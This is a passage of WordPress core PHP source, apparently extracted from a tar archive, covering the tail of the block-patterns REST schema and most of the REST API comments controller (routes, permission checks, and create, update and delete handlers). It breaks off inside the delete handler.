					'description' => __( 'Block types that the pattern is intended to be used with.' ),
					'type'        => 'array',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'post_types'     => array(
					'description' => __( 'An array of post types that the pattern is restricted to be used with.' ),
					'type'        => 'array',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'template_types' => array(
					'description' => __( 'An array of template types where the pattern fits.' ),
					'type'        => 'array',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'source'         => array(
					'description' => __( 'Where the pattern comes from e.g. core' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
					'enum'        => array(
						'core',
						'plugin',
						'theme',
						'pattern-directory/core',
						'pattern-directory/theme',
						'pattern-directory/featured',
					),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-comments-controller.php000066600000173053152442706000016005 0ustar00<?php
/**
 * REST API: WP_REST_Comments_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core controller used to access comments via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Comments_Controller extends WP_REST_Controller {

	/**
	 * Instance of a comment meta fields object.
	 *
	 * @since 4.7.0
	 * @var WP_REST_Comment_Meta_Fields
	 */
	protected $meta;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'comments';

		$this->meta = new WP_REST_Comment_Meta_Fields();
	}

	/**
	 * Registers the routes for comments.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'   => array(
					'id' => array(
						'description' => __( 'Unique identifier for the comment.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context'  => $this->get_context_param( array( 'default' => 'view' ) ),
						'password' => array(
							'description' => __( 'The password for the parent post of the comment (if the post is password protected).' ),
							'type'        => 'string',
						),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force'    => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Whether to bypass Trash and force deletion.' ),
						),
						'password' => array(
							'description' => __( 'The password for the parent post of the comment (if the post is password protected).' ),
							'type'        => 'string',
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to read comments.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$is_note          = 'note' === $request['type'];
		$is_edit_context  = 'edit' === $request['context'];
		$protected_params = array( 'author', 'author_exclude', 'author_email', 'type', 'status' );
		$forbidden_params = array();

		if ( ! empty( $request['post'] ) ) {
			foreach ( (array) $request['post'] as $post_id ) {
				$post = get_post( $post_id );

				if ( ! empty( $post_id ) && $post && ! $this->check_read_post_permission( $post, $request ) ) {
					return new WP_Error(
						'rest_cannot_read_post',
						__( 'Sorry, you are not allowed to read the post for this comment.' ),
						array( 'status' => rest_authorization_required_code() )
					);
				} elseif ( 0 === $post_id && ! current_user_can( 'moderate_comments' ) ) {
					return new WP_Error(
						'rest_cannot_read',
						__( 'Sorry, you are not allowed to read comments without a post.' ),
						array( 'status' => rest_authorization_required_code() )
					);
				}

				if ( $post && $is_note && ! $this->check_post_type_supports_notes( $post->post_type ) ) {
					if ( current_user_can( 'edit_post', $post->ID ) ) {
						return new WP_Error(
							'rest_comment_not_supported_post_type',
							__( 'Sorry, this post type does not support notes.' ),
							array( 'status' => 403 )
						);
					}

					foreach ( $protected_params as $param ) {
						if ( 'status' === $param ) {
							if ( 'approve' !== $request[ $param ] ) {
								$forbidden_params[] = $param;
							}
						} elseif ( 'type' === $param ) {
							if ( 'comment' !== $request[ $param ] ) {
								$forbidden_params[] = $param;
							}
						} elseif ( ! empty( $request[ $param ] ) ) {
							$forbidden_params[] = $param;
						}
					}
					return new WP_Error(
						'rest_forbidden_param',
						/* translators: %s: List of forbidden parameters. */
						sprintf( __( 'Query parameter not permitted: %s' ), implode( ', ', $forbidden_params ) ),
						array( 'status' => rest_authorization_required_code() )
					);
				}
			}
		}

		// Re-map edit context capabilities when requesting `note` for a post.
		if ( $is_edit_context && $is_note && ! empty( $request['post'] ) ) {
			foreach ( (array) $request['post'] as $post_id ) {
				if ( ! current_user_can( 'edit_post', $post_id ) ) {
					return new WP_Error(
						'rest_forbidden_context',
						__( 'Sorry, you are not allowed to edit comments.' ),
						array( 'status' => rest_authorization_required_code() )
					);
				}
			}
		} elseif ( $is_edit_context && ! current_user_can( 'moderate_comments' ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit comments.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! current_user_can( 'edit_posts' ) ) {
			foreach ( $protected_params as $param ) {
				if ( 'status' === $param ) {
					if ( 'approve' !== $request[ $param ] ) {
						$forbidden_params[] = $param;
					}
				} elseif ( 'type' === $param ) {
					if ( 'comment' !== $request[ $param ] ) {
						$forbidden_params[] = $param;
					}
				} elseif ( ! empty( $request[ $param ] ) ) {
					$forbidden_params[] = $param;
				}
			}

			if ( ! empty( $forbidden_params ) ) {
				return new WP_Error(
					'rest_forbidden_param',
					/* translators: %s: List of forbidden parameters. */
					sprintf( __( 'Query parameter not permitted: %s' ), implode( ', ', $forbidden_params ) ),
					array( 'status' => rest_authorization_required_code() )
				);
			}
		}

		return true;
	}

	/**
	 * Retrieves a list of comment items.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or error object on failure.
	 */
	public function get_items( $request ) {

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();

		/*
		 * This array defines mappings between public API query parameters whose
		 * values are accepted as-passed, and their internal WP_Query parameter
		 * name equivalents (some are the same). Only values which are also
		 * present in $registered will be set.
		 */
		$parameter_mappings = array(
			'author'         => 'author__in',
			'author_email'   => 'author_email',
			'author_exclude' => 'author__not_in',
			'exclude'        => 'comment__not_in',
			'include'        => 'comment__in',
			'offset'         => 'offset',
			'order'          => 'order',
			'parent'         => 'parent__in',
			'parent_exclude' => 'parent__not_in',
			'per_page'       => 'number',
			'post'           => 'post__in',
			'search'         => 'search',
			'status'         => 'status',
			'type'           => 'type',
		);

		$prepared_args = array();

		/*
		 * For each known parameter which is both registered and present in the request,
		 * set the parameter's value on the query $prepared_args.
		 */
		foreach ( $parameter_mappings as $api_param => $wp_param ) {
			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
				$prepared_args[ $wp_param ] = $request[ $api_param ];
			}
		}

		// Ensure certain parameter values default to empty strings.
		foreach ( array( 'author_email', 'search' ) as $param ) {
			if ( ! isset( $prepared_args[ $param ] ) ) {
				$prepared_args[ $param ] = '';
			}
		}

		if ( isset( $registered['orderby'] ) ) {
			$prepared_args['orderby'] = $this->normalize_query_param( $request['orderby'] );
		}

		$prepared_args['no_found_rows'] = false;

		$prepared_args['update_comment_post_cache'] = true;

		$prepared_args['date_query'] = array();

		// Set before into date query. Date query must be specified as an array of an array.
		if ( isset( $registered['before'], $request['before'] ) ) {
			$prepared_args['date_query'][0]['before'] = $request['before'];
		}

		// Set after into date query. Date query must be specified as an array of an array.
		if ( isset( $registered['after'], $request['after'] ) ) {
			$prepared_args['date_query'][0]['after'] = $request['after'];
		}

		if ( isset( $registered['page'] ) && empty( $request['offset'] ) ) {
			$prepared_args['offset'] = $prepared_args['number'] * ( absint( $request['page'] ) - 1 );
		}

		$is_head_request = $request->is_method( 'HEAD' );
		if ( $is_head_request ) {
			// Force the 'fields' argument. For HEAD requests, only post IDs are required to calculate pagination.
			$prepared_args['fields'] = 'ids';
			// Disable priming comment meta for HEAD requests to improve performance.
			$prepared_args['update_comment_meta_cache'] = false;
		}

		/**
		 * Filters WP_Comment_Query arguments when querying comments via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @link https://developer.wordpress.org/reference/classes/wp_comment_query/
		 *
		 * @param array           $prepared_args Array of arguments for WP_Comment_Query.
		 * @param WP_REST_Request $request       The REST API request.
		 */
		$prepared_args = apply_filters( 'rest_comment_query', $prepared_args, $request );

		$query        = new WP_Comment_Query();
		$query_result = $query->query( $prepared_args );

		if ( ! $is_head_request ) {
			$comments = array();

			foreach ( $query_result as $comment ) {
				if ( ! $this->check_read_permission( $comment, $request ) ) {
					continue;
				}

				$data       = $this->prepare_item_for_response( $comment, $request );
				$comments[] = $this->prepare_response_for_collection( $data );
			}
		}

		$total_comments = (int) $query->found_comments;
		$max_pages      = (int) $query->max_num_pages;

		if ( $total_comments < 1 ) {
			// Out-of-bounds, run the query without pagination/offset to get the total count.
			unset( $prepared_args['number'], $prepared_args['offset'] );

			$query                                      = new WP_Comment_Query();
			$prepared_args['count']                     = true;
			$prepared_args['orderby']                   = 'none';
			$prepared_args['update_comment_meta_cache'] = false;

			$total_comments = $query->query( $prepared_args );
			$max_pages      = (int) ceil( $total_comments / $request['per_page'] );
		}

		$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $comments );
		$response->header( 'X-WP-Total', $total_comments );
		$response->header( 'X-WP-TotalPages', $max_pages );

		$base = add_query_arg( urlencode_deep( $request->get_query_params() ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );

		if ( $request['page'] > 1 ) {
			$prev_page = $request['page'] - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}

		if ( $max_pages > $request['page'] ) {
			$next_page = $request['page'] + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Get the comment, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Comment|WP_Error Comment object if ID is valid, WP_Error otherwise.
	 */
	protected function get_comment( $id ) {
		$error = new WP_Error(
			'rest_comment_invalid_id',
			__( 'Invalid comment ID.' ),
			array( 'status' => 404 )
		);

		if ( (int) $id <= 0 ) {
			return $error;
		}

		$id      = (int) $id;
		$comment = get_comment( $id );
		if ( empty( $comment ) ) {
			return $error;
		}

		if ( ! empty( $comment->comment_post_ID ) ) {
			$post = get_post( (int) $comment->comment_post_ID );

			if ( empty( $post ) ) {
				return new WP_Error(
					'rest_post_invalid_id',
					__( 'Invalid post ID.' ),
					array( 'status' => 404 )
				);
			}
		}

		return $comment;
	}

	/**
	 * Checks if a given request has access to read the comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		// Re-map edit context capabilities when requesting `note` type.
		$edit_cap = 'note' === $comment->comment_type ? array( 'edit_comment', $comment->comment_ID ) : array( 'moderate_comments' );
		if ( ! empty( $request['context'] ) && 'edit' === $request['context'] && ! current_user_can( ...$edit_cap ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit comments.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$post = get_post( $comment->comment_post_ID );

		if ( ! $this->check_read_permission( $comment, $request ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to read this comment.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( $post && ! $this->check_read_post_permission( $post, $request ) ) {
			return new WP_Error(
				'rest_cannot_read_post',
				__( 'Sorry, you are not allowed to read the post for this comment.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or error object on failure.
	 */
	public function get_item( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		$data     = $this->prepare_item_for_response( $comment, $request );
		$response = rest_ensure_response( $data );

		return $response;
	}

	/**
	 * Checks if a given request has access to create a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		$is_note = ! empty( $request['type'] ) && 'note' === $request['type'];

		if ( ! is_user_logged_in() && $is_note ) {
			return new WP_Error(
				'rest_comment_login_required',
				__( 'Sorry, you must be logged in to comment.' ),
				array( 'status' => 401 )
			);
		}

		if ( ! is_user_logged_in() ) {
			if ( get_option( 'comment_registration' ) ) {
				return new WP_Error(
					'rest_comment_login_required',
					__( 'Sorry, you must be logged in to comment.' ),
					array( 'status' => 401 )
				);
			}

			/**
			 * Filters whether comments can be created via the REST API without authentication.
			 *
			 * Enables creating comments for anonymous users.
			 *
			 * @since 4.7.0
			 *
			 * @param bool $allow_anonymous Whether to allow anonymous comments to
			 *                              be created. Default `false`.
			 * @param WP_REST_Request $request Request used to generate the
			 *                                 response.
			 */
			$allow_anonymous = apply_filters( 'rest_allow_anonymous_comments', false, $request );

			if ( ! $allow_anonymous ) {
				return new WP_Error(
					'rest_comment_login_required',
					__( 'Sorry, you must be logged in to comment.' ),
					array( 'status' => 401 )
				);
			}
		}

		// Limit who can set comment `author`, `author_ip` or `status` to anything other than the default.
		if ( isset( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( 'moderate_comments' ) ) {
			return new WP_Error(
				'rest_comment_invalid_author',
				/* translators: %s: Request parameter. */
				sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'author' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( isset( $request['author_ip'] ) && ! current_user_can( 'moderate_comments' ) ) {
			if ( empty( $_SERVER['REMOTE_ADDR'] ) || $request['author_ip'] !== $_SERVER['REMOTE_ADDR'] ) {
				return new WP_Error(
					'rest_comment_invalid_author_ip',
					/* translators: %s: Request parameter. */
					sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'author_ip' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}
		}

		if ( $is_note && ! empty( $request['post'] ) && ! current_user_can( 'edit_post', (int) $request['post'] ) ) {
			return new WP_Error(
				'rest_cannot_create_note',
				__( 'Sorry, you are not allowed to create notes for this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$edit_cap = $is_note ? array( 'edit_post', (int) $request['post'] ) : array( 'moderate_comments' );
		if ( isset( $request['status'] ) && ! current_user_can( ...$edit_cap ) ) {
			return new WP_Error(
				'rest_comment_invalid_status',
				/* translators: %s: Request parameter. */
				sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'status' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( empty( $request['post'] ) ) {
			return new WP_Error(
				'rest_comment_invalid_post_id',
				__( 'Sorry, you are not allowed to create this comment without a post.' ),
				array( 'status' => 403 )
			);
		}

		$post = get_post( (int) $request['post'] );

		if ( ! $post ) {
			return new WP_Error(
				'rest_comment_invalid_post_id',
				__( 'Sorry, you are not allowed to create this comment without a post.' ),
				array( 'status' => 403 )
			);
		}

		if ( $is_note && ! $this->check_post_type_supports_notes( $post->post_type ) ) {
			return new WP_Error(
				'rest_comment_not_supported_post_type',
				__( 'Sorry, this post type does not support notes.' ),
				array( 'status' => 403 )
			);
		}

		if ( 'draft' === $post->post_status && ! $is_note ) {
			return new WP_Error(
				'rest_comment_draft_post',
				__( 'Sorry, you are not allowed to create a comment on this post.' ),
				array( 'status' => 403 )
			);
		}

		if ( 'trash' === $post->post_status ) {
			return new WP_Error(
				'rest_comment_trash_post',
				__( 'Sorry, you are not allowed to create a comment on this post.' ),
				array( 'status' => 403 )
			);
		}

		if ( ! $this->check_read_post_permission( $post, $request ) ) {
			return new WP_Error(
				'rest_cannot_read_post',
				__( 'Sorry, you are not allowed to read the post for this comment.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! comments_open( $post->ID ) && ! $is_note ) {
			return new WP_Error(
				'rest_comment_closed',
				__( 'Sorry, comments are closed for this item.' ),
				array( 'status' => 403 )
			);
		}

		return true;
	}

	/**
	 * Creates a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error(
				'rest_comment_exists',
				__( 'Cannot create existing comment.' ),
				array( 'status' => 400 )
			);
		}

		// Do not allow comments to be created with a non-core type.
		if ( ! empty( $request['type'] ) && ! in_array( $request['type'], array( 'comment', 'note' ), true ) ) {
			return new WP_Error(
				'rest_invalid_comment_type',
				__( 'Cannot create a comment with that type.' ),
				array( 'status' => 400 )
			);
		}

		$prepared_comment = $this->prepare_item_for_database( $request );
		if ( is_wp_error( $prepared_comment ) ) {
			return $prepared_comment;
		}

		$prepared_comment['comment_type'] = $request['type'];

		if ( ! isset( $prepared_comment['comment_content'] ) ) {
			$prepared_comment['comment_content'] = '';
		}

		// Include note metadata into check_is_comment_content_allowed.
		if ( isset( $request['meta']['_wp_note_status'] ) ) {
			$prepared_comment['meta']['_wp_note_status'] = $request['meta']['_wp_note_status'];
		}

		if ( ! $this->check_is_comment_content_allowed( $prepared_comment ) ) {
			return new WP_Error(
				'rest_comment_content_invalid',
				__( 'Invalid comment content.' ),
				array( 'status' => 400 )
			);
		}

		// Setting remaining values before wp_insert_comment so we can use wp_allow_comment().
		if ( ! isset( $prepared_comment['comment_date_gmt'] ) ) {
			$prepared_comment['comment_date_gmt'] = current_time( 'mysql', true );
		}

		// Set author data if the user's logged in.
		$missing_author = empty( $prepared_comment['user_id'] )
			&& empty( $prepared_comment['comment_author'] )
			&& empty( $prepared_comment['comment_author_email'] )
			&& empty( $prepared_comment['comment_author_url'] );

		if ( is_user_logged_in() && $missing_author ) {
			$user = wp_get_current_user();

			$prepared_comment['user_id']              = $user->ID;
			$prepared_comment['comment_author']       = $user->display_name;
			$prepared_comment['comment_author_email'] = $user->user_email;
			$prepared_comment['comment_author_url']   = $user->user_url;
		}

		// Honor the discussion setting that requires a name and email address of the comment author.
		if ( get_option( 'require_name_email' ) ) {
			if ( empty( $prepared_comment['comment_author'] ) || empty( $prepared_comment['comment_author_email'] ) ) {
				return new WP_Error(
					'rest_comment_author_data_required',
					__( 'Creating a comment requires valid author name and email values.' ),
					array( 'status' => 400 )
				);
			}
		}

		if ( ! isset( $prepared_comment['comment_author_email'] ) ) {
			$prepared_comment['comment_author_email'] = '';
		}

		if ( ! isset( $prepared_comment['comment_author_url'] ) ) {
			$prepared_comment['comment_author_url'] = '';
		}

		if ( ! isset( $prepared_comment['comment_agent'] ) ) {
			$prepared_comment['comment_agent'] = '';
		}

		$check_comment_lengths = wp_check_comment_data_max_lengths( $prepared_comment );

		if ( is_wp_error( $check_comment_lengths ) ) {
			$error_code = $check_comment_lengths->get_error_code();
			return new WP_Error(
				$error_code,
				__( 'Comment field exceeds maximum length allowed.' ),
				array( 'status' => 400 )
			);
		}

		// Don't check for duplicates or flooding for notes.
		$prepared_comment['comment_approved'] =
			'note' === $prepared_comment['comment_type'] ?
			'1' :
			wp_allow_comment( $prepared_comment, true );

		if ( is_wp_error( $prepared_comment['comment_approved'] ) ) {
			$error_code    = $prepared_comment['comment_approved']->get_error_code();
			$error_message = $prepared_comment['comment_approved']->get_error_message();

			if ( 'comment_duplicate' === $error_code ) {
				return new WP_Error(
					$error_code,
					$error_message,
					array( 'status' => 409 )
				);
			}

			if ( 'comment_flood' === $error_code ) {
				return new WP_Error(
					$error_code,
					$error_message,
					array( 'status' => 400 )
				);
			}

			return $prepared_comment['comment_approved'];
		}

		/**
		 * Filters a comment before it is inserted via the REST API.
		 *
		 * Allows modification of the comment right before it is inserted via wp_insert_comment().
		 * Returning a WP_Error value from the filter will short-circuit insertion and allow
		 * skipping further processing.
		 *
		 * @since 4.7.0
		 * @since 4.8.0 `$prepared_comment` can now be a WP_Error to short-circuit insertion.
		 *
		 * @param array|WP_Error  $prepared_comment The prepared comment data for wp_insert_comment().
		 * @param WP_REST_Request $request          Request used to insert the comment.
		 */
		$prepared_comment = apply_filters( 'rest_pre_insert_comment', $prepared_comment, $request );
		if ( is_wp_error( $prepared_comment ) ) {
			return $prepared_comment;
		}

		$comment_id = wp_insert_comment( wp_filter_comment( wp_slash( (array) $prepared_comment ) ) );

		if ( ! $comment_id ) {
			return new WP_Error(
				'rest_comment_failed_create',
				__( 'Creating comment failed.' ),
				array( 'status' => 500 )
			);
		}

		if ( isset( $request['status'] ) ) {
			$this->handle_status_param( $request['status'], $comment_id );
		}

		$comment = get_comment( $comment_id );

		/**
		 * Fires after a comment is created or updated via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Comment      $comment  Inserted or updated comment object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a comment, false
		 *                                  when updating.
		 */
		do_action( 'rest_insert_comment', $comment, $request, true );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $comment_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $comment, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$context = current_user_can( 'moderate_comments' ) ? 'edit' : 'view';
		$request->set_param( 'context', $context );

		/**
		 * Fires completely after a comment is created or updated via the REST API.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_Comment      $comment  Inserted or updated comment object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a comment, false
		 *                                  when updating.
		 */
		do_action( 'rest_after_insert_comment', $comment, $request, true );

		$response = $this->prepare_item_for_response( $comment, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment_id ) ) );

		return $response;
	}

	/**
	 * Checks if a given REST request has access to update a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		if ( ! $this->check_edit_permission( $comment ) ) {
			return new WP_Error(
				'rest_cannot_edit',
				__( 'Sorry, you are not allowed to edit this comment.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Updates a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or error object on failure.
	 */
	public function update_item( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		$id = $comment->comment_ID;

		if ( isset( $request['type'] ) && get_comment_type( $id ) !== $request['type'] ) {
			return new WP_Error(
				'rest_comment_invalid_type',
				__( 'Sorry, you are not allowed to change the comment type.' ),
				array( 'status' => 404 )
			);
		}

		$prepared_args = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared_args ) ) {
			return $prepared_args;
		}

		if ( ! empty( $prepared_args['comment_post_ID'] ) ) {
			$post = get_post( $prepared_args['comment_post_ID'] );

			if ( empty( $post ) ) {
				return new WP_Error(
					'rest_comment_invalid_post_id',
					__( 'Invalid post ID.' ),
					array( 'status' => 403 )
				);
			}
		}

		if ( empty( $prepared_args ) && isset( $request['status'] ) ) {
			// Only the comment status is being changed.
			$change = $this->handle_status_param( $request['status'], $id );

			if ( ! $change ) {
				return new WP_Error(
					'rest_comment_failed_edit',
					__( 'Updating comment status failed.' ),
					array( 'status' => 500 )
				);
			}
		} elseif ( ! empty( $prepared_args ) ) {
			if ( is_wp_error( $prepared_args ) ) {
				return $prepared_args;
			}
			if ( ! $this->check_is_comment_content_allowed( $prepared_args ) ) {
				return new WP_Error(
					'rest_comment_content_invalid',
					__( 'Invalid comment content.' ),
					array( 'status' => 400 )
				);
			}

			$prepared_args['comment_ID'] = $id;

			$check_comment_lengths = wp_check_comment_data_max_lengths( $prepared_args );

			if ( is_wp_error( $check_comment_lengths ) ) {
				$error_code = $check_comment_lengths->get_error_code();
				return new WP_Error(
					$error_code,
					__( 'Comment field exceeds maximum length allowed.' ),
					array( 'status' => 400 )
				);
			}

			$updated = wp_update_comment( wp_slash( (array) $prepared_args ), true );

			if ( is_wp_error( $updated ) ) {
				return new WP_Error(
					'rest_comment_failed_edit',
					__( 'Updating comment failed.' ),
					array( 'status' => 500 )
				);
			}

			if ( isset( $request['status'] ) ) {
				$this->handle_status_param( $request['status'], $id );
			}
		}

		$comment = get_comment( $id );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php */
		do_action( 'rest_insert_comment', $comment, $request, false );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $comment, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php */
		do_action( 'rest_after_insert_comment', $comment, $request, false );

		$response = $this->prepare_item_for_response( $comment, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a given request has access to delete a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		if ( ! $this->check_edit_permission( $comment ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete this comment.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}
		return true;
	}

	/**
	 * Deletes a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or error object on failure.
	 */
	public function delete_item( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;

		/**
		 * Filters whether a comment can be trashed via the REST API.
		 *
		 * Return false to disable trash support for the comment.
		 *
		 * @since 4.7.0
		 *
		 * @param bool       $supports_trash Whether the comment supports trashing.
		 * @param WP_Comment $comment        The comment object being considered for trashing support.
		 */
		$supports_trash = apply_filters( 'rest_comment_trashable', ( EMPTY_TRASH_DAYS > 0 ), $comment );

		$request->set_param( 'context', 'edit' );

		if ( $force ) {
			$previous = $this->prepare_item_for_response( $comment, $request );
			$result   = wp_delete_comment( $comment->comment_ID, true );
			$response = new WP_REST_Response();
			$response->set_data(
				array(
					'deleted'  => true,
					'previous' => $previous->get_data(),
				)
			);
		} else {
			// If this type doesn't support trashing, error out.
			if ( ! $supports_trash ) {
				return new WP_Error(
					'rest_trash_not_supported',
					/* translators: %s: force=true */
					sprintf( __( "The comment does not support trashing. Set '%s' to delete." ), 'force=true' ),
					array( 'status' => 501 )
				);
			}

			if ( 'trash' === $comment->comment_approved ) {
				return new WP_Error(
					'rest_already_trashed',
					__( 'The comment has already been trashed.' ),
					array( 'status' => 410 )
				);
			}

			$result   = wp_trash_comment( $comment->comment_ID );
			$comment  = get_comment( $comment->comment_ID );
			$response = $this->prepare_item_for_response( $comment, $request );
		}

		if ( ! $result ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The comment cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		/**
		 * Fires after a comment is deleted via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Comment       $comment  The deleted comment data.
		 * @param WP_REST_Response $response The response returned from the API.
		 * @param WP_REST_Request  $request  The request sent to the API.
		 */
